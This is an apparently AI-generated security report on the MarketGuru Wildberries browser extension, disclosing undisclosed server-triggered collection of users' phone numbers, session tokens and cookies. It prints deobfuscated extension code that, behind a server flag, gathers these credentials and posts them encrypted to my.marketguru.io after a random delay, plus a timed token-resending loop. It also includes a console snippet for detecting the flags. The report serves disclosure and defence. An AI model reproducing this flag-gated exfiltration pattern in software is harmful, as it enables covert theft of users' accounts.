Is MarketGuru — аналитика на маркетплейсе Wildberries и помощник селлера safe?
MarketGuru is medium risk. DA captured 10+ GET requests to marketguru.io/settings every ~30s, unprompted. Truthy sup collects your Wildberries phone, token, and cookies, RSA-encrypts, and sends to marketguru.io. suwbas sends x_wbaas_token periodically. Undisclosed.
Who publishes itООО «МАРКЕТГУРУ» - 1 other listing from the same operator, 1 of them carrying a finding
ООО «МАРКЕТГУРУ» - 1 other listing from the same operator, 1 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same operator - 1 listing
Published under a different store account, but sharing the registered address, contact or declared legal entity this one gave the store.
Shared hosts - 1 hostname
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Server-Controlled Credential and Session Token Transmission
DA captured 10+ GET requests to marketguru.io/settings every ~30s, unprompted.
Truthy sup collects your Wildberries phone, token, and cookies, RSA-encrypts, and sends to marketguru.io. suwbas sends x_wbaas_token periodically.
Undisclosed.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-829
- Source
- Dynamic sandbox
The MarketGuru server returns extensionSettings.sup as truthy in the settings response.
This happens at a time and for users the server selects, the extension checks the flag every ~30 seconds.
The extension collects your Wildberries phone number, session token, and all cookies from the current tab, encrypts them, and sends them to my.marketguru.io.
Transmission is delayed by a random 2-10 minute jitter after the flag is first observed as active.
JSON array of {name, value} pairs. Keys include 'extensionSettings' (JSON string containing 'sup' and 'suwbas' sub-keys) and other feature flags. During dynamic analysis, 10+ of these requests were captured across two sessions.
- Authorization
- Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiMTIzNDU2IiwiaWF0IjoxNzQ0NjQwMDAwfQ.placeholder
- x-extension-version
- 2.10.0
- Your phone number+79161234567
Your mobile number tied to your Wildberries account, read from localStorage under the user-info-* key.
- Your session tokeneyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiNzc3ODg5IiwiaWF0IjoxNzQ0NjQwMDAwfQ.sig
The active Bearer token that authenticates you to Wildberries. Possession of this token allows making API calls as you.
- All browser cookies from the current tabWBToken=abc123; __wbs=sess456; _wb_uid=uid789
Every cookie visible to the Wildberries page, including authentication and session cookies.
- Wildberries session token (suwbas flow)wbaas_tok_9f3a7e21beefcafe
The x_wbaas_token from localStorage, periodically re-sent to the server at an interval the server controls.
Feature flag gating and credential collection (shipped vs. deobfuscated):
Settings query endpoint definition (deobfuscated)
marketplaces/index.js (deobfuscated)getSettings: t.query({ query: () => ({ url: "profile/v1/browser-extension/settings", type: "FETCH_GET" })})Flag gating for extensionSettings.sup — credential collection trigger
marketplaces/index.js (deobfuscated)// In the Lv React component:// When the server flag is truthy, collect credentials and encrypt+send them// after a random 2-10 minute delay.(0, Qr.useEffect)(() => { if ( i.current && // RSA public key is available t && // user credential state is populated s({ settingKey: "extensionSettings.sup", needCheckAvailable: true }) // server flag is truthy ) { d.current && d.current.close(); d.current = setTimeout(() => { g({ phone: t.data?.phone || "", // phone number from localStorage token: t.token, // Wildberries session token cookies: t.cookies // all tab cookies as JSON string }); }, minutesToMilliseconds(random(2, 10))); // 2-10 minute jitter }}, [i.current, t]);let g = async (payload) => { let encrypted = await Rd(payload); // RSA+AES encrypt if (encrypted) p(encrypted); // POST to wb-hub/v1/browser-extension/meta};Flag gating for extensionSettings.suwbas — periodic session token transmission
marketplaces/index.js (deobfuscated)// Nv component: if server returns suwbas (a number in ms), periodically// read x_wbaas_token from localStorage, encrypt it, and POST it.const Nv = () => { let [postWbaasToken] = nh(); // usePostWbaasTokenMutation let isLoggedIn = S(li); // logged-in state from Redux let intervalMs = Fv("suwbas"); // interval from server flag useEffect(() => { if (!intervalMs || !isLoggedIn) return; let timerId; (() => { timerId = setInterval(async () => { let token = id("x_wbaas_token"); // read from localStorage let encrypted = await Rd({ token }); // RSA+AES encrypt if (encrypted) postWbaasToken(encrypted); // POST to wb-hub/v1/browser-extension/wbaas }, intervalMs); })(); return () => { if (timerId) clearInterval(timerId); }; }, [intervalMs, isLoggedIn]);};- my.marketguru.io
MarketGuru's primary API host. Receives the GET settings flag-fetch (Bearer-authenticated) and the POST encrypted credential payload.
- my.marketguru.io (wbaas endpoint)
Also receives the periodic session token via POST /api/wb-hub/v1/browser-extension/wbaas when the suwbas flag is active.
Run this in Chrome DevTools on any Wildberries page with the MarketGuru extension active. It intercepts the settings endpoint response and logs the extensionSettings.sup and extensionSettings.suwbas flag values to the console, so you can observe what the server is currently returning.
- Chrome with DevTools access
- MarketGuru extension installed
- An active Wildberries session (the extension only polls when logged in)
// marketguru-flag-detector.js// Run in Chrome DevTools on a Wildberries page with MarketGuru installed.// Intercepts the settings endpoint response and logs the feature flag values.(function() { const origFetch = window.fetch; window.fetch = async function(input, init) { const url = typeof input === 'string' ? input : input.url; const resp = await origFetch.apply(this, arguments); if (url && url.includes('browser-extension/settings')) { const clone = resp.clone(); clone.json().then(data => { console.log('[MARKETGURU_FLAGS] raw settings response:', JSON.stringify(data, null, 2)); if (Array.isArray(data)) { const extSettings = data.find(d => d.name === 'extensionSettings'); if (extSettings) { try { const parsed = JSON.parse(extSettings.value || '{}'); console.log('[MARKETGURU_FLAGS] extensionSettings.sup (credential collection):', parsed.sup); console.log('[MARKETGURU_FLAGS] extensionSettings.suwbas (token poll interval ms):', parsed.suwbas); if (parsed.sup) { console.warn('[MARKETGURU_FLAGS] WARNING: extensionSettings.sup is ACTIVE — credential collection flow is armed.'); } if (parsed.suwbas) { console.warn('[MARKETGURU_FLAGS] WARNING: extensionSettings.suwbas is ACTIVE — periodic token transmission will occur every', parsed.suwbas, 'ms.'); } } catch (e) { console.error('[MARKETGURU_FLAGS] Could not parse extensionSettings value:', extSettings.value); } } else { console.log('[MARKETGURU_FLAGS] extensionSettings key not present in response.'); } } }).catch(() => {}); } return resp; }; console.log('[MARKETGURU_FLAG_DETECTOR] installed. Navigate to a Wildberries page or wait ~30 s for the next poll.');})();- 1Install MarketGuru, visit a Wildberries page.
- 2Open DevTools, paste this in Console.
- 3Wait up to 30s for the settings poll.
- 4See [MARKETGURU_FLAGS] logs. A WARNING means the server armed collection or transmission.